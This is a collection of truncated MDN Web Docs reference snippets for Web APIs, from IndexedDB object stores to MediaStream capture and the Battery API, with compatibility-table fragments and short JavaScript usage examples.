... opera full support 45safari full support 10.1webview android full support 48chrome android full support 48firefox android full support 58opera android full support 43safari ios full support 10.3samsung internet android full support 5.0legend full support full support compatibility unknown ...
IDBObjectStore.keyPath - Web APIs
if this property is null, the application must provide a key for each modification operation.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetkeypathchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— 57prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet an...
IDBObjectStore.openCursor() - Web APIs
return value an idbrequest object on which subsequent events related to this operation are fired.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetopencursorchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— 57prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet...
IDBObjectStore.transaction - Web APIs
the transaction read-only property of the idbobjectstore interface returns the transaction object to which this object store belongs.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettransactionchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— 57prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung interne...
IDBOpenDBRequest.onblocked - Web APIs
this event is triggered when the upgradeneeded should be triggered because of a version change but the database is still in use (that is, not closed) somewhere, even after the versionchange event was sent.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonblockedchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— 57prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet ...
IDBOpenDBRequest.onupgradeneeded - Web APIs
the event passed to the listener is an idbversionchangeevent.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonupgradeneededchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— 57prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung int...
IDBTransaction.commit() - Web APIs
commit() can be used to start the commit process without waiting for events from outstanding requests to be dispatched.
...jectstore("myobjstore"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // force the changes to be committed to the database asap transaction.commit(); specification specification status comment indexed database api draftthe definition of 'idbtransaction.commit()' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcommitchrome full support 76edge full support 79firefox full support 74ie no support noopera full support 63safari no support nowebview android full support 76chrome android full support 76firefox android no support noopera android ...
IDBTransaction.objectStore() - Web APIs
note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobjectstorechrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for u...
IDBTransaction.onabort - Web APIs
note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonabortchrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.r...
IDBTransaction.onerror - Web APIs
note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonerrorchrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.r...
IIRFilterNode() - Web APIs
the iirfilternode() constructor of the web audio api creates a new iirfilternode object which an audionode processor which implements a general infinite impulse response filter.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetiirfilternode() constructorchrome full support 55notes full support 55notes notes before version 59, the default values were not supported.edge full support ≤79firefox full support 53ie no support noopera full support 42safari ?
... webview android full support 55notes full support 55notes notes before version 59, the default values were not supported.chrome android full support 55notes full support 55notes notes before version 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ?
ImageCapture() constructor - Web APIs
syntax const imagecapture = new imagecapture(videotrack) parameters videotrack a mediastreamtrack from which the still images will be taken.
... this can be any source, such as an incoming stream of a video conference, a playing movie, or the stream from a webcam.
... return value a new imagecapture object which can be used to capture still frames from the specified video track.
... navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); }) .catch(error => console.log(error)); specifications specification status comment mediastream image capturethe definition of 'imagecapture' in that specification.
ImageCapture - Web APIs
constructor imagecapture() creates a new imagecapture object which can be used to capture still frames (photos) from a given mediastreamtrack which represents a video stream.
... example the following code is taken from chrome's grab frame - take photo sample.
... var imagecapture; function ongetusermediabuttonclick() { navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); }) .catch(error => console.log(error)); } function ongrabframebuttonclick() { imagecapture.grabframe() .then(imagebitmap => { const canvas = document.queryselector('#grabframecanvas'); drawcanvas(canvas, imagebitmap); }) .catch(error => console.log(error)); } function ontakephotobuttonclick() { imagecapture.takephoto() .then(blob => createimagebitmap(blob)) .then(imagebitmap => { ...
... const canvas = document.queryselector('#takephotocanvas'); drawcanvas(canvas, imagebitmap); }) .catch(error => console.log(error)); } /* utils */ function drawcanvas(canvas, img) { canvas.width = getcomputedstyle(canvas).width.split('px')[0]; canvas.height = getcomputedstyle(canvas).height.split('px')[0]; let ratio = math.min(canvas.width / img.width, canvas.height / img.height); let x = (canvas.width - img.width * ratio) / 2; let y = (canvas.height - img.height * ratio) / 2; canvas.getcontext('2d').clearrect(0, 0, canvas.width, canvas.height); canvas.getcontext('2d').drawimage(img, 0, 0, img.width, img.height, x, y, img.width * ratio, img.height * ratio); } document.queryselector('video').addeventlistener('play', function() { document.queryselector('#grab...
ImageData() - Web APIs
this constructor is the preferred way of creating such an object in a worker.
...if no such array is given, an image with a transparent black rectangle of the specified width and height will be created.
... html <canvas id="canvas"></canvas> javascript the array (arr) has a length of 40000: it consists of 10,000 pixels, each of which is defined by 4 values.
... the imagedata constructor specifies a width of 200 for the new object, so its height defaults to 10,000 divided by 200, which is 50.
install - Web APIs
summary installs one or more xpi files on the local machine.
... in the example below, a single installation object is created, but you can use this approach to create multiple installations to pass to a single install.
... as with the older startsoftwareupdate method, xpis installed with this method must have their own install.js files in which the full installation is defined.
... example function xpinstallcallback(url, status) { if (status == 0) msg = "xpinstall test: passed\n"; else msg = "xpinstall test: failed\n"; dump(msg); alert(msg); } xpi={'xpinstall pre-checkin test':'pre_checkin.xpi'}; installtrigger.install(xpi,xpinstallcallback); ...
IntersectionObserver.observe() - Web APIs
the intersectionobserver method observe() adds an element to the set of target elements being watched by the intersectionobserver.
... one observer has one set of thresholds and one root, but can watch multiple target elements for visibility changes in keeping with those.
... when the visibility of the specified element crosses over one of the observer's visibility thresholds (as listed in intersectionobserver.thresholds), the observer's callback is executed with an array of intersectionobserverentry objects representing the intersection changes which occurred.
... note that this design allows multiple elements' intersection changes to be processed by a single call to the callback.
IntersectionObserverEntry.intersectionRatio - Web APIs
the intersectionobserverentry interface's read-only intersectionratio property tells you how much of the target element is currently visible within the root's intersection ratio, as a value between 0.0 and 1.0.
... syntax var intersectionratio = intersectionobserverentry.intersectionratio; value a number between 0.0 and 1.0 which indicates how much of the target element is actually visible within the root's intersection rectangle.
... example in this simple example, an intersection callback sets each target element's opacity to the intersection ratio of that element with the root.
... function intersectioncallback(entries) { entries.foreach(function(entry) { entry.target.style.opacity = entry.intersectionratio; }); } to see a more concrete example, take a look at handling intersection changes in timing element visibility with the intersection observer api.
IntersectionObserverEntry.intersectionRect - Web APIs
the intersectionobserverentry interface's read-only intersectionrect property is a domrectreadonly object which describes the smallest rectangle that contains the entire portion of the target element which is currently visible within the intersection root.
... syntax var intersectionrect = intersectionobserverentry.intersectionrect; value a domrectreadonly which describes the part of the target element that's currently visible within the root's intersection rectangle.
... this rectangle is computed by taking the intersection of boundingclientrect with each of the target's ancestors' clip rectangles, with the exception of the intersection root itself.
... function intersectioncallback(entries) { entries.foreach(function(entry) { refreshzones.push({ element: entry.target, rect: entry.intersectionrect }); }); } specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.intersectionrect' in that specification.
IntersectionObserverEntry.target - Web APIs
the intersectionobserverentry interface's read-only target property indicates which targeted element has changed its amount of intersection with the intersection root.
... syntax var target = intersectionobserverentry.target; value the intersectionobserverentry's target property specifies which element previously targeted by calling intersectionobserver.observe() experienced a change in intersection with the root.
... example in this simple example, each targeted element's opacity is set to its intersectionratio.
... function intersectioncallback(entries) { entries.foreach(function(entry) { entry.target.opacity = entry.intersectionratio; }); } to see a more concrete example, take a look at handling intersection changes in timing element visibility with the intersection observer api.
KeyboardLayoutMap - Web APIs
properties keyboardlayoutmap.entries read only returns an array of a given object's own enumerable property [key, value] pairs, in the same order as that provided by a for...in loop (the difference being that a for-in loop enumerates properties in the prototype chain as well).
... keyboardlayoutmap.keys read only returns a new array iterator object that contains the keys for each index in the array.
... keyboardlayoutmap.values read only returns a new array iterator object that contains the values for each index in the keyboardlayoutmap object.
... methods keyboardlayoutmap.foreach() read only executes a provided function once for each element of keyboardlayoutmap.
KeyframeEffect.KeyframeEffect() - Web APIs
direction optional whether the animation runs forwards (normal), backwards (reverse), switches direction after each iteration (alternate), or runs backwards and switches direction after each iteration (alternate-reverse).
... duration optional the number of milliseconds each iteration of the animation takes to complete.
...although this is technically optional, keep in mind that your animation will not run if this value is 0.
... easing optional the rate of the animation's change over time.
LocalMediaStream - Web APIs
the localmediastream interface was part of the media capture and streams api, representing a stream of data being generated locally (such as by getusermedia().
...instead, media is stopped by calling mediastreamtrack.stop() on each track that needs to be stopped.
... the example for mediastreamtrack.stop() demonstrates how to stop a multi-track stream, which is what localmediastream.stop() used to be used for.
...when the source of the stream is a connected device (such as a camera or microphone), capture of media from the device is halted.
LockedFile.location - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
...its value indicates at which bytes within the file any write or read operation will start.
... this value is changed automatically after every read and write operation.
... this property can be changed at will.
MIDIAccess - Web APIs
properties midiaccess.inputs read only returns an instance of midiinputmap which provides access to any available midi input ports.
... midiaccess.outputs read only returns an instance of midioutputmap which provides access to any available midi output ports.
... event handlers midiaccess.onstatechange called whenever a new midi port is added or an existing port changes state.
... examples navigator.requestmidiaccess() .then(function(access) { // get lists of available midi controllers const inputs = access.inputs.values(); const outputs = access.outputs.values(); access.onstatechange = function(e) { // print information about the (dis)connected midi controller console.log(e.port.name, e.port.manufacturer, e.port.state); }; }); specifications specification status comment web midi api working draft initial definition.
MSCandidateWindowShow - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... general info synchronous no bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this event.
... example in ie11, developers can detect the opening of the ime candidate window by listening to mscandidatewindowshow event, then call getcandidatewindowclientrect() function to find out where the candidate window is and position the suggestion ui away from it: var context = document.getelementbyid("mysearchbox").msgetinputcontext(); context.addeventlistener("mscandidatewindowshow", candidatewindowshowhandler); function candidatewindowshowhandler(e) { var imerect = context.getcandidatewindowclientrect(); var suggestionrect = document.getelementbyid("mysuggestionlist").getboundingclientrect(); // check if the two rects intersect, and position them away from each other.
... } when the ime candidate window changes position or closes, it fires mscandidatewindowupdate or mscandidatewindowhide events.
MSCandidateWindowUpdate - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... mscandidatewindowupdate fires after the input method editor (ime) candidate window has been identified as needing to change size, but before any visual updates have rendered.
... general info synchronous no bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this event.
... tan ime candidate window may be identified as needing to change size for any of the following reasons: as a result of displaying new / changed alternatives or predictions web applications need only register for this event once per element (the handler will remain valid for the lifetime of the element).
MSGraphicsTrust - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... syntax var trustobject = media.msgraphicstruststatus; parameters constrictionactive a read-only property which returns true when protected media is forced to play in a lower resolution.
... status a read-only property which returns an enum with the driver status when playing protected content.
... inheritance hierarchy the msgraphicstrust does not inherit from any class or interface.
MSManipulationEvent - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... events msmanipulationstatechanged: event fires when the state of an element being manipulated has changed.
... laststateread only returns the last state after a manipulation change event.
...number; readonly ms_manipulation_state_cancelled: number; readonly ms_manipulation_state_committed: number; readonly ms_manipulation_state_dragging: number; readonly ms_manipulation_state_inertia: number; readonly ms_manipulation_state_preselect: number; readonly ms_manipulation_state_selecting: number; readonly ms_manipulation_state_stopped: number; } see also touchevent msmanipulationstatechanged microsoft api extensions ...
MediaKeySession - Web APIs
the mediakeysession interface of the encryptedmediaextensions api represents a context for message exchange with a content decryption module (cdm).
... mediakeysession.expiration read only the time after which the keys in the current session can no longer be used to decrypt media data, or nan if no such time exists.
...this value may change during a session lifetime, such as when an action triggers the start of a window.
... event handlers mediakeysession.onkeystatuseschange sets the eventhandler called when there has been a change in the keys in a session or their statuses.
MediaQueryList.addListener() - Web APIs
the addlistener() method of the mediaquerylist interface adds a listener to the mediaquerylistener that will run a custom callback function in response to the media query status changing.
... syntax mediaquerylist.addlistener(func) parameters func a function or function reference representing the callback function you want to run when the media query status changes.
...in the new implementation the standard event mechanism is used, the callback is a standard function, and the event object is a mediaquerylistevent, which inherits from event.
... examples var para = document.queryselector('p'); var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'addlistener' in that specification.
MediaRecorder.audioBitsPerSecond - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetaudiobitspersecond experimentalchrome full support 49edge full support 79firefox full support 71ie no support noopera full support 36safari no support nowebview android full support 49chrome android full support 49firefox android ?
...expect behavior to change in the future.experimental.
... expect behavior to change in the future.
MediaRecorderErrorEvent.error - Web APIs
the descriptions here are generic ones; you'll find more specific ones to various scenarios in which they may occur in the corresponding method references.
... invalidstateerror an operation was attempted in a context in which it isn't allowed, or a request has been made on an object that's deleted or removed.
... example this function creates and returns a mediarecorder for a given mediastream, configured to buffer data into an array and to watch for errors.
... function recordstream(stream) { let recorder = null; let bufferlist = []; try { recorder = new mediarecorder(stream); } catch(err) { /* exception while trying to create the recorder; handle that */ } recorder.ondataavailable = function(event) { bufferlist.push(event.data); }; recorder.onerror = function(event) { let error = event.error; }; recorder.start(100); /* 100ms time slices per buffer */ return recorder; } specifications specification status comment mediastream recordingthe definition of 'mediarecordererrorevent.error' in that specification.
MediaSource.isTypeSupported() - Web APIs
the mediasource.istypesupported() static method returns a boolean value which is true if the given mime type is likely to be supported by the current user agent.
... return value a boolean which is true if the browser feels that it can probably play media of the specified type.
... all web apis that work with media files use a "no/maybe/probably" approach (or, in this case, "no or probably") when determining if a media type can be used.
...ource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'istypesupported()' in that specifica...
MediaSource.readyState - Web APIs
the three possible values are: closed: the source is not currently attached to a media element.
... open: the source is attached to a media element and ready to receive sourcebuffer objects.
... ended: the source is attached to a media element but the stream has been ended via a call to mediasource.endofstream().
...ource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'readystate' in that specification.
MediaStream.getAudioTracks() - Web APIs
return value an array of mediastreamtrack objects, one for each audio track contained in the stream.
... note: the order of the returned tracks is not defined by the specification and may, in fact, change from one call to getaudiotracks() to the next.
... early versions of this api included a special audiostreamtrack interface which was used as the type for each entry in the list of audio streams; however, this has since been merged into the main mediastreamtrack interface.
... example this example gets a webcam's audio and video in a stream using getusermedia(), attaches the stream to a <video> element, then sets a timer that, upon expiring, will stop the first audio track found on the stream.
MediaStream.getTracks() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgettracks experimentalchrome full support 45edge full support 12firefox full support yesie no support noopera full support yessafari full support yeswebview android full support 45chrome android full support 45firefox android full support ...
...expect behavior to change in the future.experimental.
... expect behavior to change in the future.
MediaStream.id - Web APIs
WebAPIMediaStreamid
the mediastream.id() read-only property is a domstring containing 36 characters denoting a unique identifier (guid) for the object.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidchrome no support ?
...— 54chrome android no support ?
MediaStreamAudioDestinationNode - Web APIs
the mediastreamaudiodestinationnode interface represents an audio destination consisting of a webrtc mediastream with a single audiomediastreamtrack, which can be used in a similar way to a mediastream obtained from navigator.getusermedia.
... number of inputs 1 number of outputs 0 channel count 2 channel count mode "explicit" channel count interpretation "speakers" constructor mediastreamaudiodestinationnode.mediastreamaudiodestinationnode() creates a new mediastreamaudiodestinationnode object instance.
... mediastreamaudiodestinationnode.stream is a mediastream containing a single audiomediastreamtrack with the same number of channels as the node itself.
... you can use this property to get a stream out of the audio graph and feed it into another construct, such as a media recorder.
MediaStreamAudioSourceNode() - Web APIs
the web audio api's mediastreamaudiosourcenode() constructor creates and returns a new mediastreamaudiosourcenode object which uses the first audio track of a given mediastream as its source.
... note: another way to create a mediastreamaudiosourcenode is to call theaudiocontext.createmediastreamsource() method, specifying the stream from which you want to obtain audio.
... options a mediastreamaudiosourceoptions object defining the properties you want the mediastreamaudiosourcenode to have: mediastream a required property which specifies the mediastream from which to obtain audio for the node.
...diadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints: audio and video for this app { audio: true, video: false }).then(function(stream) { var options = { mediastream : stream } var source = new mediastreamaudiosourcenode(audioctx, options); source.connect(audioctx.destination); }).catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('new getusermedia not supported on your browser!'); } specifications specification status comment web audio apithe definition of 'mediastreamaudiosourcenode()' in that specification.
MediaStreamTrack.muted - Web APIs
when a track is disabled by setting enabled to false, it generates only empty frames (audio frames in which every sample is 0, or video frames in which every pixel is black).
... syntax const mutedflag = track.muted value a boolean which is true if the track is currently muted, or false if the track is currently unmuted.
... example this example counts the number of tracks in an array of mediastreamtrack objects which are currently muted.
... let mutedcount = 0; tracklist.foreach((track) => { if (track.muted) { mutedcount += 1; } }); specifications specification status comment media capture and streamsthe definition of 'muted' in that specification.
MediaStreamTrack.onended - Web APIs
the mediastreamtrack.onended event handler is used to specify a function which serves as an eventhandler to be called when the ended event occurs on the track.
... this event occurs when the track will no longer provide data to the stream for any reason, including the end of the media input being reached, the user revoking needed permissions, the source device being removed, or the remote peer ending a connection.
...the event handler function receives a single parameter: the event object, which is a simple event object.
... examples this example sets up an event handler for the ended event which changes an on-screen icon to indicate that the track is no longer active.
MediaStreamTrackAudioSourceNode - Web APIs
the mediastreamtrackaudiosourcenode interface is a type of audionode which represents a source of audio data taken from a specific mediastreamtrack obtained through the webrtc or media capture and streams apis.
... number of inputs 0 number of outputs 1 channel count defined by the first audio mediastreamtrack passed to the audiocontext.createmediastreamtracksource() method that created it.
...next, we feed this source audio into a low pass biquadfilternode (which effectively serves as a bass booster), then a audiodestinationnode.
... destination, so we can play the // music and adjust the volume using the mouse cursor source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); // get new mouse pointer coordinates when mouse is moved // then set new gain value range.oninput = function() { biquadfilter.gain.value = range.value; } }) .catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('getusermedia not supported on your browser!'); } // dump script to pre element pre.innerhtml = myscript.innerhtml; note: as a consequence of calling createmediastreamsource(), audio playback from the media stream will be re-routed into the processing graph of the audiocontext.
MediaStream Image Capture API - Web APIs
in addition to capturing data, it also allows you to retrieve information about device capabilities such as image size, red-eye reduction and whether or not there is a flash and what they are currently set to.
...the example code is adapted from chrome's image capture examples.
... let zoom = document.queryselector('#zoom'); const capabilities = track.getcapabilities(); // check whether zoom is supported or not.
... photocapabilities provides available configuration options for an attached photographic device.
MediaTrackConstraints.cursor - Web APIs
the mediatrackconstraints dictionary's cursor property is a constraindomstring describing the requested or mandatory constraints placed upon the value of the cursor constrainable property, which is used to specify whether or not the cursor should be included in the captured video.
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.cursor as returned by a call to mediadevices.getsupportedconstraints().
... syntax var constraintsobject = { cursor: constraint }; constraintsobject.cursor = constraint; value a constraindomstring which specifies whether or not the mouse cursor should be rendered into the video track in the mediastream returned by the call to getdisplaymedia().
... usage notes you can check the setting selected by the user agent after the display media has been created by getdisplaymedia() by calling getsettings() on the display media's video mediastreamtrack, then checking the value of the returned mediatracksettings object's cursor object.
MediaTrackConstraints.facingMode - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.facingmode as returned by a call to mediadevices.getsupportedconstraints().
...these may represent separate cameras, or they may represent directions in which an adjustable camera can be pointed.
... "left" the video source is facing toward the user but to their left, such as a camera aimed toward the user but over their left shoulder.
... "right" the video source is facing toward the user but to their right, such as a camera aimed toward the user but over their right shoulder.
MediaTrackSettings.noiseSuppression - Web APIs
the mediatracksettings dictionary's noisesuppression property is a boolean value whose value indicates whether or not noise suppression technology is enabled on an audio track.
...this feature is typically used on microphones, although it is technically possible it could be provided by other input sources as well.
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.noisesuppression as returned by a call to mediadevices.getsupportedconstraints().
... syntax var noisesuppression = mediatracksettings.noisesuppression; value a boolean value which is true if the input track has noise suppression enabled or false if agc is disabled.
MediaTrackSupportedConstraints.cursor - Web APIs
the mediatracksupportedconstraints dictionary's cursor property indicates whether or not the cursor constraint is supported by the user agent and the device on which the content is being used.
... syntax iscursorsupported = supportedconstraints.cursor; value a boolean value which is true if the cursor constraint is supported by the device and user agent.
...capturing is then started by calling getdisplaymedia() and attaching the returned stream to the video element referenced by the variable videoelem.
...ewithcursor() { let supportedconstraints = navigator.mediadevices.getsupportedconstraints(); let displaymediaoptions = { video: { displaysurface: "browser" }, audio: false; }; if (supportedconstraints.cursor) { displaymediaoptions.video.cursor = "always"; } try { videoelem.srcobject = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } catch(err) { /* handle the error */ } } specifications specification status comment screen capturethe definition of 'mediatracksupportedconstraints.cursor' in that specification.
MediaTrackSupportedConstraints.displaySurface - Web APIs
the mediatracksupportedconstraints dictionary's displaysurface property indicates whether or not the displaysurface constraint is supported by the user agent and the device on which the content is being used.
... syntax isdisplaysurfacesupported = supportedconstraints.displaysurface; value a boolean value which is true if the displaysurface constraint is supported by the device and user agent.
...capturing is then started by calling getdisplaymedia() and attaching the returned stream to the video element referenced by the variable videoelem.
... async function capture() { let supportedconstraints = navigator.mediadevices.getsupportedconstraints(); let displaymediaoptions = { video: { }, audio: false; }; if (supportedconstraints.displaysurface) { displaymediaoptions.video.displaysurface = "monitor"; } try { videoelem.srcobject = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } catch(err) { /* handle the error */ } } specifications specification status comment screen capturethe definition of 'mediatracksupportedconstraints.displaysurface' in that specification.
MessagePort - Web APIs
the messageport interface of the channel messaging api represents one of the two ports of a messagechannel, allowing messages to be sent from one port and listening out for them arriving at the other.
... example in the following example, you can see a new channel being created using the messagechannel() constructor.
... when the iframe has loaded, we register an onmessage handler for messagechannel.port1 and transfer messagechannel.port2 to the iframe using the window.postmessage method along with a message.
... var channel = new messagechannel(); var output = document.queryselector('.output'); var iframe = document.queryselector('iframe'); // wait for the iframe to load iframe.addeventlistener("load", onload); function onload() { // listen for messages on port1 channel.port1.onmessage = onmessage; // transfer port2 to the iframe iframe.contentwindow.postmessage('hello from the main page!', '*', [channel.port2]); } // handle messages received on port1 function onmessage(e) { output.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
NDEFReader.scan() - Web APIs
WebAPINDEFReaderscan
syntax var readerpromise = ndefreader.scan(options); parameters options optional id -- the match pattern for matching each ndefrecord.id.
... recordtype -- the match pattern for matching each ndefrecord.recordtype.
... mediatype -- the match pattern for matching each ndefrecord.mediatype.
... return value a promise that resolves with undefined immediatelly after scheduling read operations for the nfc adapter.
Navigator.getBattery() - Web APIs
it returns a battery promise, which is resolved in a batterymanager object providing also some new events you can handle to monitor the battery status.
... syntax var batterypromise = navigator.getbattery(); return value a promise which, when resolved, calls its fulfillment handler with a single parameter: a batterymanager object which you can use to get information about the battery's state.
... example this example fetches the current charging state of the battery and establishes a handler for the chargingchange event, so that the charging state is recorded whenever it changes.
... let batteryischarging = false; navigator.getbattery().then(function(battery) { batteryischarging = battery.charging; battery.addeventlistener('chargingchange', function() { batteryischarging = battery.charging; }); }); for more examples and details, see battery status api.
navigator.hardwareConcurrency - Web APIs
